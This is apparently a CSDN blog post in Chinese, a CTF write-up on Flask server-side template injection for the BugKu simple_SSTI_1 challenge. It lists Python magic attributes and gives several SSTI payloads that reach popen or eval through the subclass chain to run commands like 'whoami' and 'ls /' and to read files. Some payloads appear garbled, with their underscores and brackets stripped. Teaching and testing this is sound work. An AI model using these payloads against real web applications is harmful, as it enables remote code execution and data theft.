• BUGKU-simple_SSTI_1漏洞注入


    SSTI漏洞注入

    SSTI全称Server side template injection.服务端模板注入这节课主要讲flask的模板注入.flask会把类似于 的变量当做参数来渲染并填充到web页面,如果该参数可控并被后台解析则有可能被注入恶意代码导致注入漏洞请注意 模板注入只会存在于二次渲染中,无二次渲染不会出现模板注入。

    注入过程

    1. 确定模板类型
      在这里插入图片描述
    2. 利用魔术方法寻找可命令执行的子类
      魔术方法:
      class 返回类型所属的对象
      mro 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
      base 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
      subclasses 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
      init 类的初始化方法
      globals 对包含函数全局变量的字典的引用
      寻找子类:
      Python3:
      使用file类读取文件的方法: 这个类索引号;
      利用os._warp_close类的 popen函数执行命令:
      [].class.mro[-1].subclasses()[128].init.globals’popen’.read()
      ().class.bases[0].subclasses()[128].init.globals[‘builtins’]‘import’.popen(‘whoami’).read()
      ().class.bases[0].subclasses()[128].init.globals[‘builtins’]‘eval’
      ().class.bases[0].subclasses()[128].init.globals[‘builtins’]‘eval’
      利用os._warp_close类的 open函数读取文件:
      ().class.bases[0].subclasses()[128].init.globals[‘builtins’]‘open’.read()
      Python2:
      利用 warnings.WarningMessage的 linecache执行命令:
      [].class.base.subclasses()[59].init.func_globals[‘linecache’].os.popen(‘whoami’).read()
      ().class.bases[0].subclasses()40.read()
      ().class.bases[0].subclasses()[75].init.globals[‘builtins’]‘eval’
      利用file类读取文件(python2特有):
      ().class.bases[0].subclasses()40.read()
      ().class.bases[0].subclasses()40.readlines()
      存在popen函数的类一般是 os._wrap_close
      [].class.mro[-1].subclasses()[128].init.globals[‘builtins’][‘eval’](‘import(“o”+“s”).popen(“ls /”).read()’)
      思路:找到父类–>寻找子类–>找关于命令执行或者文件操作的模块。
      几个含有eval函数的类:
      warnings.catch_warnings
      WarningMessage
      codecs.IncrementalEncoder
      codecs.IncrementalDecoder
      codecs.StreamReaderWriter
      os._wrap_close
      reprlib.Repr
      weakref.finalize
    3. 构造PAYLOAD执行反弹SHELL等命令
      相关链接
  • 相关阅读:
    spring 5.2+ http返回结果json格式字符集丢失问题
    Win Docker Desktop + WSL2 部署PyTorch-CUDA服务至k8s算力集群
    自己一天在家没事就爱折腾
    vue3中axios的使用方法
    奥迪AUDI EDI INVOIC发票报文详解
    机器学习——K近邻算法(KNN)及其python实现
    LeetCode数组相对排序
    EOCR-3E420,3EZ,3DE电机保护器与变频器配合使用的方法
    如何把利用paddlepaddle导出的json文件转化为yolo或者voc文件
    【CF1693C】Keshi in Search of AmShZ(类dijkstra)
  • 原文地址:https://blog.csdn.net/kingx3/article/details/133677099